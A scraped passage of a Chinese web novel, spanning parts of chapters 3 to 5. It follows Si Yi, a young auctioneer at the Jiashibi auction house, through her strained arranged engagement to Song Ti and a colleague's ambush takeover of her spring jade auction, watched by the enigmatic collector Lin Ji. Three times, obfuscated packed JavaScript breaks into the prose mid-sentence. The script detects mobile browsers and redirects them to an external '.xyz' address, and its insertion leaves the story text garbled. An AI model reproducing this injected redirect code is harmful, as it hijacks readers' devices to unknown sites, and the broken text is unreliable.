“妈妈认真问你,你和司意打算什么时候领证办婚礼?真得定下来了。司意那孩子内向,你得主动点。” 宋缇双手插在上衣口袋里,跟在母亲身边走了两步,说: “司意正在准备春季拍卖会的事。今年她很有可能崭露头角,我不想让她分心。” 这句话让林云汀的脸色变得复杂。 “司意真的不打算辞职吗?” 林云汀是挺喜欢姜司意这孩子的,长得好又懂事乖巧,从来不见她生气,又有股子圈子里同龄孩子少有的韧劲。 可是对于林云汀而言,她们这些在意体面的生意人,有个在外面抛头露面的媳妇总归不太光彩。 宋缇:“她应该暂时不想放弃事业。有事业上的追求是件好事,我挺支持……” “招呼人卖东西,哄抬价格,也能叫事业?” 宋立名打断了宋缇的话。 宋缇抬了抬一侧的眉峰,嘴角微扬,没再吭声。 . 姜司意到公司的时候,她点的外卖也刚到。 段凝和其他饥肠辘辘的同事循着香味就来了。 休息室里翻腾起热辣浓郁的火锅味。 大冷天的,一群被抓来加班的苦命打工人围在一块儿涮肉,是难得的安慰。 牛肉入喉,空荡荡的胃有食物打底,冰冷一整晚的身子终于舒筋活络,姜司意感觉心情缓和些了。 段凝一边喝可乐一边小声跟她抱怨。 说王太太又压着图录下场印刷之前的死线送来新的拍品。 “这王太,不服不行,她送来的那件青黄玉玉佩刚刚入库,大晚上的又得为她一个人改图录。真想把她挂商城秒杀了。” “青黄玉玉佩?” 姜司意夹了一大筷子沾满汤汁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563390|171422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的宽粉。 “那得专门跟郑总提一嘴。” 她们口中的郑总是位资深代理人。 活跃在各大拍卖会上,为了某件心仪宝物一掷千金的,很少是收藏家本人。 毕竟拍品少辄几万,多辄几千万,甚至上亿,买这种天价物品本身就很敏感,买卖双方非富即贵,很有可能是经常出现在各大新闻头条的熟悉面孔。 为了保护隐私,真正的收藏家基本不会亲自现身拍卖会现场。 看中了哪件拍品,不是找专业代理去现场拍卖,就是让代理、自己的助理在电话或网络上竞拍。 郑总就是服务于这些神秘收藏家的代理人。 这几年,只要有青黄玉的场,郑总必到。 他背后的神秘收藏家是谁,迄今为止无人知晓。 只知道这位收藏家出手极为阔绰。 而且对青黄玉非常执着。 郑总说过,他的老板从不设上限,只要喜欢,一定要拍到手。 段凝回姜司意道:“可是郑总这几年养生,十点半就睡觉,谁吵他他跟谁急。这个点钟怕他已经做了两轮梦了。” 姜司意说:“说青黄玉的事儿,他肯定不急。” 干姜司意这行不仅要了解买卖双方,还要对代理人非常熟悉,毕竟他们是中间至关重要的纽带。 姜司意知道郑总靠着幕后这位贵客盘活了公司,所以关于青黄玉的买卖他都非常上心。 段凝特听姜司意的话,立刻发了条微信过去。 把青黄玉相关的资料发去给郑总,不到三分钟郑总就回复了。 【一定到场!!】 两个感叹号,段凝和姜司意都能想象郑总拔床而起的画面。 段凝开心地用肩膀挤了挤姜司意,说: “今年春拍你肯定能上台。” 去年夏季姜司意在金石玉器专场初露锋芒,待岁末的日常拍卖季收槌时,她已在槌起槌落间踏上了最初的职业轨道。 这个在后台一遍又一遍默默阅读拍品档案的小姑娘,一登上主拍台便似换了个人。 纤白手腕起落自信,眼风精准如鹰,整整两季低流拍高成交价的战绩,让拍卖场记住了她的名字。 但春拍和她之前经历过的“小战场”完全不同。 每年春秋两季大型拍卖会最后成交价动辄上百亿规模。 能不能驯服春拍这头疯兽,能不能扛住大场面的洗礼,是年轻的拍卖师飞升的关键。 段凝看好这次姜司意能在春拍上一展风采。 姜司意自己对这次春拍也非常上心。 姜家的浮沉她看在眼里,其他还未着落的关系,更是充满了不可控的变数。 未来会怎么样,她不知道。 唯有握住自己的事业,用自己的双腿好好站稳。 编撰图录不是姜司意的工作职责,但春拍实在太忙,吃完消夜,姜司意打算留下和同事们一块儿把图录彻底改好。 段凝看她的手说:“都受伤了,还跟着我们一起加班啊。” 姜司意看血已经止住了。 “你不说我都忘了,帮我拿个创可贴就好,哪有这么娇气。” 工作时的姜司意非常干练,有她帮忙,新版图录很快发给了印刷厂。 此刻已经过了零点,段凝困得呵欠连连,从办公室里拿出姜司意委托的礼物。 那是宋缇很喜欢的一位乐队主唱的签名CD。 主唱已经过世,签名CD非常稀少珍贵,姜司意也是好不容易才在国外拍卖行网拍拍来的。 向段凝道过谢,姜司意打车回家。 冬日午夜的城市热度绝迹,有种末世的冷寂和萧索感。 想起那捧花,用忙碌来掩盖和遗忘的酸劲还是在不经意间涌入心脏。 无论她多用心,最后都像一场自欺欺人的可笑泡沫,一旦浮上现实的海面,就会瞬间支离破碎,彻底消散无踪。 …… 林棘回到卧室时,收到了代理人郑先河的电话。 郑总最近在养生,很少这个点钟联系她,看来有重要的事。 林棘接通电话,果然和青黄玉有关。 【这枚青黄玉龙凤佩和您一直在找的很像。】 林棘看了发来的图片,眸色微凝。 林棘:【下个月六号,嘉仕比春拍?】 【是的是的。】 【我亲自去现场。】 郑先河听到都愣了一下。 本来他想说让那位段小姐过来私洽。 所谓“私洽”,就是拍品如果有非常合适的优质买家就不用上拍卖台了,可以私下洽谈,签单购买。 但是听这位老主顾的言下之意,是想亲自去拍卖现场,可能还有别的有意向的拍品吧。 林棘一直都在幕后,从未露过脸,连郑先河都没见过她本人,不知道她的身份。 只能从声音判断是个非常年轻,非常有魅力的女人。 神秘老板终于要现身了,郑先河挂了电话,心想,这下嘉仕比春拍估计得热闹了。 . 挂了电话,打算去沐浴的林棘脱下外套,一片花瓣从她袖口里飘出来,落在浅灰色羊毛地毯上。 像无声单调的夜里,忽然落入眼底的一点鲜红的朱砂痣。 林棘将花瓣拾起来。 大概是她帮姜司意拾花时,破碎的花无意间掉进她的袖子里,就这样被她带回家。 指腹轻轻摩挲过丝绒般的表面,抚至微微褶皱的花瓣边缘,再收回。 抚弄数趟,眸底眼波微动。 最后,拿来最近正在看的精装硬壳书,仔细地把花瓣夹在扉页。 4. 第 4 章 姜司意租的房子距离嘉仕比拍卖行只有五公里。 妈妈很早之前就为姜司意开了银行账户,每年都往里面存一笔钱,原本的意图是鼓励她从小规划自己的生活,学习投资。 不知道妈妈有没有料想过,自己会走得那么匆忙,这笔闲钱最后会成为女儿的救命钱。 无论父亲做了什么混账事,娶妻生子几乎将她和姐姐遗忘,因为这笔钱的存在,她还能搬出去独立生活,上大学和工作初期也不至于窘迫。 最最重要的是,能有底气拒绝继母让她进入某家控股公司的安排,从容部署自己的职业规划。 这套离公司很近又宜居的四十平一居室,不算大,也足够她独自生活,还能养一只可爱的狗狗。 如今工作渐渐进入正轨,姜司意的物欲又很低,已经不需要再花妈妈为她存的钱了。 还没打开屋门,就听见雪球在门后激动蹦跶的声音。 门一开,雪球立刻站起来,连撒娇带扒拉,钻入主人怀里。 姜司意摸摸怀里的圆脑袋,雪球舒服到翻白眼,恨不得把主人蹭秃噜皮。 被在意、被需要的感受随着雪球的体温一起传入姜司意的心里。 冷意在慢慢消弭。 她比自己想的还喜欢拥抱的感觉。 姜司意要进屋拿鞋,只好放开雪球。 雪球白乎乎的小短腿刚刚着地,就火急火燎地去叼牵引绳,拖着粉色的牵引绳在门口开心地摇尾巴转圈,差点将自己五花大绑。 “好好好,雪球你等我一下。” 姜司意把包放下就去帮它套胸背带。 只要是出去玩,雪球就没有不配合的。 脑袋熟练地穿进草莓图案的胸背带,吐着粉舌头巴巴地等着姜司意。 姜司意将饮水机调到45度,接了一大杯水,边喝水边拿一次性手套,以及装便便的塑料袋和纸。 午夜的小区很安静,人声降到最低。 雪球是一只浑身雪白的比熊犬,以长得可爱在整个社区远近驰名。 就算和最好的狗狗朋友们玩的时候,它都不会远离姜司意,一定要回头确定主人在不远处才能安心。 不知道它叫什么名字的邻居们都称它为“妈宝狗”。 今晚的妈宝也很乖,全程跟在姜司意身边颠着小步伐。 风迎面吹来,将它柔软的毛往后吹,露出一双黑漆漆的圆眼睛和类似微笑的嘴。 姜司意等它便便的时候,扫了眼今天还没来得及看的其他微信。 继母赵珺三个小时之前发来微信,说下个月家宴,让她务必带宋缇一起出席。 最后还半提点半威胁地交代了一句: 【现在家里的情况你该知道,懂点事。】 姜家的状况她当然知道。 她爸爸姜骆和集团的股东,因股权翻脸互殴闹到派出所的丑事,不止她,恐怕整个圈子都家喻户晓。 现在姜家日薄西山,而宋家手中的资源很有可能让姜家起死回生。 姜骆一直在做公布婚讯时姜家股价大涨的美梦。 姜林两家这联姻,是姜司意外婆还在的时候,外婆做主,和林家定下的。 那时候姜家如日中天,原本定的林家还不是林云汀家这支。 后来发生了些意外,订婚对象才在姜司意母亲的同意下转成了宋缇。 谁知姜司意母亲过世之后,先是姜骆官司缠身,最近几年还接连投资失败,家势一落千丈。 林云汀面上没说,心里多少觉得自己走了背字。 不过,林云汀本身还是挺喜欢姜司意的,觉得这孩子性子好,人也踏实。而宋缇玩心重,她身边那些狐朋狗友统统都是扛不住事儿的。宋缇这辈子就算有走错、疏漏的时候,有姜司意陪在左右肯定出不了什么大事,姜司意能托得住她。 更何况,姜司意外婆还是林云汀的老师,两家之间有不少这辈子难以剪断的缘分。 所以,即便丈夫隔三差五阴阳怪气地反对,她还是坚持这场联姻。 没落的姜家没少占宋家的便宜。相比之下,林云汀则是为了恩师的在天之灵,以及不落个嫌贫爱富的面子和主母的一点高瞻远瞩的里子,诸多原因交杂一起才继续这场联姻。 阴谋和交易里,众人各取所需。 没有人在意被夹在中间的姜司意。 姜骆想要宋家资源,一心想让姜司意快点和宋缇领证,每次见面都明面暗地千方百计地催促,逼着她快点成为宋太太。 不胜其扰的姜司意已经很久没和姜骆见面了。 要不是小时候宋缇总是照顾她,心里藏着一份对宋缇的眷恋,恐怕姜司意坚持不到现在。 消停了一段时日,姜骆闹出了法制新闻,可以想象姜家现在日子更不好过,连赵珺都来催她。 这场家宴的主旨姜司意用头发丝想都知道,肯定是为了催婚。 姜司意回复赵珺,说她正在准备春拍,恐怕没时间回去。 赵珺没回。 不回最好。 和雪球一起溜达了两圈,回家。 习惯性坐到妈妈的遗像前说说今天发生的事儿,然后去泡个热水澡。 浴室内热气蒸腾,雪球安静地趴在脚垫上陪着主人。 泡到冰冷的手脚因血管的扩张发麻,白瓷般的肌肤泛起一层热热的粉,骨头缝里的寒气才算是彻底溶于水中。 依依不舍地从浴缸里爬起来,吹头发的时候,看到放在沙发上的袋子,里面装的是给宋缇的礼物。 想了想,把礼物放到衣柜的深处,用日用品挡住。 临睡前翻了好几个身,最后还是没忍住,打开朋友圈。 宋缇果然发朋友圈了。 还是连发两条。 第一条是一大群人的合影,就在那个小花园里。 谢舒旖挽着宋缇的胳膊,所有参加生日宴的人围成一圈,手里拿着泡泡机,喷了满屏的泡泡。 文案很简短,就一行字—— 【祝我生日快乐】 第二条朋友圈,也就是按时间倒序排在她朋友圈最上面的,是她和林云汀从两侧贴过来,把林棘放在C位的合影。 林棘无甚表情,连看镜头的姿势都有些潦草,有点像是抓拍的。 不得不说,无论在哪儿,身边都有谁,林棘永远都是最抓人眼球的那个人。 以前上学的时候,姜司意总能一眼就在人群中发现林棘,现在气场更是逼人。 即便隔着屏幕,被她那双冷傲的眼睛看着也是挺吓人的。 姜司意转开视线,去看宋缇的文案。 相比于上一条,有林棘的这条配字就丰富多了。 【姐姐刚回国就来参加我的生日宴,非常惊喜。今晚我是最幸福的小女孩,给姐姐一个大大的拥抱!一家人在一起就是开心。】 字里行间有些不自然的做作,姜司意不知道别人能不能发现。 目光落在“开心”这两个字上片刻,姜司意感觉眼睛有点痛。 闭眼,锁屏。 好好睡觉,努力让自己脑袋放空,什么也别去想。 明天可是万恶的周一。 摸着自己的耳朵,雪球微微的呼吸声伴随她进入梦境。 大概是这一日太漫长,太纷乱,心口又被浓烈的情绪压着,一夜梦很多。 她梦到了小时候。 梦里她和宋缇都很小,一点点的个子,又是同班,每日形影不离。 宋缇比她大三个月,性格好,姜司意遇到困难总是去问她该怎么办。 那时宋缇对她比现在有耐心多了,每次都会跟她说: “给我点时间,我回家好好想想,明天一定告诉你答案。” 隔天,她真的能想出一个两全其美的办法。 母亲过世,姐姐又在外地学画画,年幼无助的姜司意对世界充满了不确定的惶恐。 这时身边有个愿意帮她的人,她很难不产生好感和依赖。 联姻的最初,姜司意觉得她们和那些冰冷的名利交换不同,是有感情基础的。 她们一起长大,是彼此在乎的。 可当夜色浓稠时,被白昼匆忙的烟火气掩埋的裂痕,便乘着月光攀上床帷,照亮满心的凌乱。 纷乱的梦境,让姜司意不断皱眉、翻身。 …… 工作是毒药,最擅长以毒攻毒。 接下来的一周时间,姜司意忙着预展的事,忙到没时间难过。 作为国内最老牌,最具影响力的拍卖行,每年嘉仕比的春、秋两季拍卖会备受瞩目,预展更是人山人海。 春拍的所有拍品都会在预展上分类展出,不设门槛,谁都可以去参观,甚至能上手近距离接触、观察拍品。 年轻的拍卖师们乐意出现在预展上,除了与熟悉的收藏家沟通,介绍拍品,还可以挖掘潜在的客户。 有一位网红来做直播,想要参加拍卖,段凝热情地带人去交押金,领拍卖号牌。 姜司意本来在自己的展区帮忙,快到中午的时候,书画部的同事急匆匆地赶过来,谁也不看,直接快步到姜司意身边说: “小姜,我们那儿忙疯了,你能不能去搭把手?” 姜司意本科和硕士读的都是中国艺术史,本来她入职嘉仕比就是想去中国书画部,但中国书画部的经理没接她,转调她去金石玉器部了。 这里头的门道大家都懂。 无论是中国书画部还是西方油画部,总成交价和比金石玉器部要高上好几倍。春、秋两季的拍卖重头戏通常也是在书画和油画上。一副大师杰作可能拍出好几亿,不是金石玉器部能比的。 拍卖行靠抽取交易佣金经营,而拍卖师的收入和佣金休戚相关,书画部那些老员工自然不愿意让姜司意来分他们的蛋糕。 姜司意倒是不太在意,只要能养活自己,现阶段也只是现阶段,她有耐心慢慢往上走。 更重要的是,她不想内耗,不想怨天尤人。 改变能改变的,接受不能改变的,做好眼前的一切。 有忙就帮,懒得分什么部门,都是一个公司的。 姜司意一口应下来,到了书画展区,这些拍品都没做过功课,不过都是知名画家的作品,她对于这些画家再熟悉不过。 有两个人想要看齐三元的作品,姜司意将拍品拿出来展示,认真讲解齐三元的风格和收藏价值,连创作背景都是脱口而出。 这两位客人听得频频点头。 其中一位三十多岁,从姜司意进去展厅的那一刻起,那道炙热的目光一直黏在她身上不肯下来,也不知道有没有听讲解,目光饶有趣味地从她的脸上往下降,看她工作牌。 待姜司意说完,对方眯着眼笑道: “姜小姐,加个微信?回头有其他感兴趣的拍品也可以在微信里聊聊,方便。” 这人说得暧昧,拿手机的时候还刻意露出腕间耀眼的百达翡丽。 姜司意的余光里感受到不远处暗暗刺来的一道眼神。 书画部的经理Oliver站在十步之外的地方,正和另一位客人说着话,嘴上的语句放缓,抽空向她投过来嫌恶的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563391|171422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光。 当初就是Oliver主张书画部人手够了,让姜司意去别的部门。 现在姜司意要是加了书画部客人的微信,和抢生意没什么两样。 姜司意婉拒了对方加好友的建议。 “我不是这个部门的,对其他拍品不太了解。” 之后,对着Oliver的方向唤了他一声。 Oliver一眼就能看出围着姜司意的那两人穿的是手工西服,很低调。 但再低调,一身行头加起来能抵得上他好几个月的薪水。 方才怨毒的眼神立刻收回,热情地回应“来了”。 姜司意转身要走,和Oliver擦肩而过时,Oliver面上和煦笑容不改,双唇微动,在姜司意耳边道: “你不会真觉得春拍有你的份吧?” Oliver瞥向姜司意,就等着她露出惊讶甚至是受伤的表情。 没想到,姜司意根本没看他,脚步的节奏也没有任何紊乱,就像没听到任何恶语,径直离开了书画展厅。 倒是引得Oliver的眼皮凭空跳动,侧目回望。 …… 休息室里,姜司意喝完一杯水,单手撑在桌面上出神。 片刻后,从口袋里拿出手机。 准备预展的这一整周,她和宋缇没有任何联系。 从生日宴那晚起,她俩陷入了冷战。 姜司意非常怕冷战的氛围。 紧绷,僵冷,幼稚,偏偏让她寝食难安。 每次有微信进来她都以为是宋缇,可每一次都让她希望落空。 受不了这份煎熬,也没法计较主动破冰会不会显得软弱。 姜司意发微信给宋缇,问她是否有时间来看她的春季拍卖会。 这是姜司意职业生涯里最重要的一战。 她希望重要的人能在场见证。 姜司意左思右想,编辑好了一条文字信息,深呼吸之后下定决心,点了发送。 城市的另一头。 宋缇正坐在自己的办公室里发着微信。 姜司意的微信进来时,她没有立刻点开看。 指尖一抬,驱赶似的把姜司意的微信推上去,免得妨碍视线。 而后,率先点开了另一个人的微信。 她看着微信,指尖摸索着自己的下巴,红唇微张,轻佻地笑了。 宋缇坐直,饶有趣味地回复对方: 【当然和你不一样。联姻嘛,两个没有感情基础的人硬凑在一块儿罢了,就像你说的——封建糟粕。我真的在想办法,你得相信我。】 对方回了一个“哼”的表情包。 宋缇立刻再回:【别生气,下周我就能去见你了。】 …… 半小时后,姜司意吃完午饭,宋缇的微信才姗姗来迟。 【宝贝,我当然很想去给你捧场,好可惜,时间不凑巧。你春拍的时候我正好要去伦敦出差。我会在伦敦为你加油的。】 宋缇的语气轻松,就像从来没有和姜司意冷战似的。 姜司意不知道该松口气,还是该去思考宋缇对她的在意程度。 意料之中,宋缇太忙了,没有能分给她的时间。 可当这份意料得到切实的印证,心里失落的踏空感还是拧着她的心。 姜司意指尖悬停在手机屏幕前半天,打打删删,删删打打。 她有些怕宋缇看到她“正在输入”半天,很可笑。 不过她的担忧是多余的。 宋缇的对话框根本没停留在姜司意对话的页面,自然没看到她的犹豫。 姜司意思来想去,无论说什么都像是在埋怨。 最后发了个兔子点头,说“好”的表情包过去。 宋缇这次回复倒是挺快,就一个字——【乖】。 春拍当日。 宋缇果然没来,她人已经在伦敦,送了一束花到拍卖会后台。 一张卡片躺在紫色的仿真花中,上面一行机打宋体字。 【让你朋友多拍点照片和视频发给我,我要留作纪念——Stella。】 宋缇没能来现场,不遗憾是不可能的。 她知道宋缇已经接手了家族的生意,很忙,她不可能像个讨糖吃的小孩,成天围着宋缇,试图从她那儿讨一点甜头。 可是,作为职业生涯非常重要的一战,没有人与她一同见证,说不失落那绝对在硬撑。 心尖上有些酸意在冒头,姜司意赶紧调整了一下心情。 大家都是成年人,有自己的工作要忙,有不明朗的前途要争,她都懂的。 姜司意告诉自己,别闹情绪,得懂事。 刚把手机放回口袋,段凝火急火燎杀过来,在她耳边小声道: “今天郑先河幕后的大金主会亲自现身哎!就是咱们金石玉器这场!” “郑总身后的金主?那个天字一号神秘人物居然舍得来现场?” “今年春拍可真热闹了,也不知道这大金主是男是女,长什么样。”段凝在这儿犯花痴,“会不会是大美女,超级有钱的小姐姐?” 姜司意觉得她太离谱,笑道:“小姐姐是不可能了,说不定头都秃了。” 两人靠在一起笑个没完,完全没发现一墙之隔的林棘和自家CEO顾总把这番话听了个一清二楚。 今天专门为了陪同林棘,大老远从香港赶回来的顾总一时找不到话。 尴尬的沉默中,目光很难不往林棘的头顶上瞥。 还,挺茂密的。 林棘:…… 5. 第 5 章 今年春拍分为八大场,重头戏自然是中国书画和西方油画专场,而马上要开始的金石玉器场也算瞩目。 现场内场和电话席早就人满为患,势在必得。 偏偏无风无浪般的斯文,偶尔几声低低的人语,山雨欲来。 姜司意今天绾了个低低的发髻,几缕碎发垂在瓷白的颈侧,似工笔画般精巧。搭配一身月白色手工旗袍,古典的风韵仿佛从宣纸内洇于眼前。 旗袍出自她母亲生前最喜欢的设计师的封山之作。 这位低调的大师最擅长展现的就是优美的曲线。无论是旗袍领口和袖口浮云般流畅的轮廓,还是姜司意那比例惊人的腰臀线条。 旗袍的款式没有设计成博眼球的那种俗气的开放。衩角裁至小腿三分处,张弛的步调间偶显雪色,堪称保守,却半点不折损她的美感。非常东方式的温润端庄,倒比明晃晃的艳色更惹人遐思。 姜司意正在看拍品资料,段凝倒了杯水过来递给她: “你都看了七、八遍了。” 姜司意说:“多少遍都不算多。你永远都不知道拍卖场上会发生什么样的意外。” 段凝:“活该你年纪轻轻就能参加春拍。这么多人的场合,这么大量级的拍卖,要是让我上,我估计已经跑了八百趟厕所了。” 姜司意笑笑。 其实她也紧张,只是拍卖马上就要开始了,再紧张都得压着心脏让它跳得慢一点,才能从容些。 为了这场拍卖,她做了很久的准备工作,绝对不容许自己出差池。 她俩还在后台说话,忽然听到拍卖场内一阵低低的喧哗。 拍卖开始了。 候场的同事们面面相觑。 “怎么回事,不是还有五分钟吗?” “真的开始了。” “司意人还在这儿呢,怎么就开始了,谁来开始啊?台上的是谁?” 姜司意和段凝等人一起往主拍台上望去,同部门的同事万欣已经站在众目睽睽之下,开始拍卖前的致辞: “各位尊敬的收藏家、嘉宾、女士们、先生们,晚上好。值此春和景明、万物生辉之际,我们相聚于此,共同开启本次春拍‘凝粹千秋’金石玉器专场拍卖。在此,我谨代表拍卖行全体同仁,向诸位拨冗莅临的贵宾致以最诚挚的欢迎与感谢……” 段凝傻了眼,看向姜司意:“她怎么自己上去了?” 姜司意没说话,想起之前Oliver说的那句—— “你不会真觉得春拍有你的份吧?” 万欣和姜司意是同期,是Oliver的徒弟。 当初实习轮岗的时候Oliver就对她多加照顾,据说两家人有些渊源。 难怪Oliver大言不惭说春拍轮不到姜司意,原来早就计划好了抢先登台。 段凝也看明白了,这是明目张胆地抢工作。 段凝:“万欣怎么敢的!” 和段凝以及周围窃窃私语的同事比起来,当事人姜司意反而冷静到出奇。 她知道万欣敢,Oliver是书画部的经理,舅舅还是拍卖行的合伙人。 无论在任何地方,只要人多,一定会产生派系,就会有竞争。 若要是有人能进入佣金顶格的书画部,那必定是自己培植起来的后辈最合适。 作为新人拍卖师,就算有人力荐,万欣想进入书画部也得有拿得出手的业绩。 春季拍卖会就是最好的机会。 而看起来毫无背景的姜司意,无疑就是那块最舒服的垫脚石。 贵宾席上。 顾总手里捏着香槟杯,一串气泡从杯底蹿上酒液表面,鼻尖有一丝不易察觉的微凉。 心里“咦”了一声。 这个专场的拍卖师不是小姜吗? 顾总正疑惑,身边的林棘低头,看向一直捏在手里的拍卖图录。 图录翻开的那页,正好是本场拍卖师介绍页。 介绍页里有一张姜司意的证件照,笑容淡淡。 这场拍卖的拍卖师的确是姜司意没错。 顾总也不知道发生了何事,有可能是小姜身体不舒服,临时让同事顶替,这些小事很少过心,没在意,继续跟林棘闲叙。 林棘的注意力却放在了拍卖上。 拍卖开始,第一件拍品是玉龟。 起拍价三万,每一口加价为两千。 “三万两千、三万四千、三万六千……三万六千,还有加的吗?于总三万八千,四万,四万两千……” 这算是开场预热,拍品中规中矩,争夺并不算激烈。 竞拍玉龟的有三人,现场一位代理,电话那头也有两人。 三人轮番举牌动作不快,万欣有条不紊地主持全局,中间只是稍微卡了一下报价。 对于一位新手来说,她已经表现得不错了。 最后玉龟以七万元成交。 段凝已经气得在原地转了十圈。 恨不得直接泼桶汽油上去把脏东西给点了。 她们金石玉器部吴经理火急火燎地冲过来,叉着腰一脸懵逼。 “怎么回事?万欣怎么上去了?” 段凝一看,连吴经理都不知道发生什么事,一句“你问我我问谁”的反问没胆子说出口,只道: “不知道啊,我还以为是吴经理你临时给换了人呢。” 吴经理丈二和尚摸不着头脑,“我没有啊,不早就定好了小姜吗?” 万欣是她下属,这场也是她们部门的专场,怎么换人了她不知道? 吴经理心里一万个纳闷,她加入嘉仕比五年多了,经历过无数场拍卖,从来没有遇见没跟上面领导打招呼,自己把拍卖师给换了的。 吴经理看到站在另一边正优哉游哉喝香槟的Oliver,问他: “你怂恿万欣这么做的?” Oliver挑起他那两根堪比钢条的浓眉,慢条斯理道: “没有证据可不能乱说话。而且什么叫怂恿,能者居之。” 段凝在姜司意耳边低声说:“果然是他。” 吴经理:“Oliver,你是书画部的,搅和我们金石玉器专场,不厚道吧?” 吴经理资历比Oliver浅,也不像Oliver跟董事会沾亲带故,她就是个打工的,能说到这个份上已经是很仗义了。 Oliver是个笑面虎,并不和吴经理正面冲突,堆起笑意戏谑道: “你们部门人才太多,内部有竞争是好事。小吴,你得让年轻人自己找机会表现,部门才有活力。怎么还跟全职保姆似的跟在身后一惊一乍?” 吴经理面上撑着笑,心里恨得几乎咬碎后槽牙。 段凝也气得脑子里嗡嗡的,而姜司意本人却跟台没接收到信号的老人机一样,还在看拍品介绍和各单底价。 段凝:“不是,你还看啊!” 姜司意平静道:“下一场我上去把万欣替下来。” 姜司意当然不可能现在就上台把万欣挤走,全网直播呢。 万欣和Oliver就是看中了这点才敢抢先上台,霸占“摊位”。 当然她也没放弃。 金石玉器有两场专场,中间有半小时休息的时间,直播会暂时中断。 现在这场是被万欣抢了个时间差,下一场她已经做好准备,不可能退让。 Oliver抿一口酒,耷拉着眼尾慢悠悠道:“你说替就替,那不全乱套了?不知道的还以为我们嘉仕比管理多混乱呢。小姜,听我一句劝,以大局为重。” 最真实的斗争,往往采用最朴实无华且不要脸的战术。 倒打一耙,贼喊捉贼的同时,Oliver死乞白赖地堵在休息室通往拍卖现场的过道上,完全用自己当做人肉盾牌,三头牛都未必拉得动。 与此同时,主拍台上的万欣再次落槌,又成功拍出去一件方形柱玉琮。 万欣落槌时松了口气。 这是她第一次参加春拍这样的大型拍卖,感觉也没什么了不起,她能应付。 抢姜司意的工作是很不厚道,可是Oliver说了,你厚道就得给别人让路,姜司意凭什么能主持春拍?你比她差哪儿了? 万欣当然不觉得自己比姜司意差。她自己也是艺术史硕士,还在香港实习了两年,回到J城嘉仕比之后一直在金石玉器部里打转。转眼就要三十岁,家里整天骂她废物,再不争个露脸的机会,往后的路只会更难走。 在社会达尔文主义浇灌下成长起来的万欣,此刻野心勃勃,似乎已经看到了这个月的佣金为她存款多画了几个零,进入书画部更是指日可待。 得失心太重,心思自然摇摆。 主拍台上会有面向拍卖师的电子屏,电子屏上显示的是本场的拍品。 拍卖师每拍完一件,就点一下屏幕,翻到下一页。 熟悉拍品的拍卖师可以做到不用看图录直接介绍拍品,不太熟的照着图录念也没有什么太大的问题,总比介绍错了拍品的信息来得好。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563392|171422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 万欣点过当前页面,开始介绍下一件拍品。 “各位收藏家,接下来将要为您呈献一组极具历史价值与艺术魅力的珍品——玉鱼三件……” 万欣话音未落,心里忽然咯噔一下。 今天的春拍她也是下了大功夫的,师父给了她这个机会,她得接得住。 所有拍品的状况和底价她都看了又看,可以说是了如指掌。 但是,眼下奇怪的错位感是怎么回事? 哪儿出错了? “咳……” 主拍台边上的助理拍卖师不自然地清了一下嗓子。 万欣忽然反应过来,刚才她思绪开了小差,已经点了一次,结果又点一次,多翻了一页。 现在拍卖的不应该是玉鱼三件,是青黄玉龙凤佩才对。 这是个低级的失误,但不要紧。 万欣头皮发紧,在心里自我安慰道,就算现场大荧幕上显示的拍品和她所讲的不一致,也没人会当场拆穿她。 只要立刻改正就行…… 就在万欣提起笑容,打算纠正自己的失误时,安静的拍卖场正中央传来一阵清晰的冷嗤。 万欣蓦然抬头,一眼就看到了坐在贵宾席正中央的林棘。 那声毫不客气的冷嗤就是林棘发出的。 而她身侧的老板顾总,正用一种不能理解的眼神打量着万欣。 万欣脑子倏然团成一乱,表情没能管理好,一脸状况外怔愣的样子格外滑稽可笑,现场陆陆续续传来三三两两的笑声。 万欣脸颊控制不住地发烫,目光着急忙慌地落回图录上。 把图录点回去,尽量稳定情绪,继续主持拍卖。 这次的拍品是青黄玉龙凤佩,也是林棘此行的目的。 林棘靠在沙发上,手里的号牌不断被举起,几乎是挨着上一位收藏家举牌的动作。 每一口出价咬得非常紧,万欣一开始还能跟上报价的速度,可林棘越来越快,网络和电话席竞拍者也此起彼伏,这一场居然有六名收藏家同时争夺。 万欣嗑吧了两次后,节奏完全被林棘带乱。 为了追上竞拍的速度,万欣报价越来越抢先,后果就是林棘忽然变缓了举牌的速度,还没举牌万欣就报价了。 明显的失误。 万欣心里咚咚直跳,尽量忽视着现场的低笑声和鄙夷的目光。 “抱歉……这口价还是在二十六万八千。”万欣弱声道歉。 顾总从鼻腔里发出不悦的气息,放下香槟杯,对林棘说: “不好意思棘董,失陪一下,我一会儿回来。” Oliver还堵在过道上,只是没有了方才的从容,手里的酒也忘了喝,全程盯着主拍台。 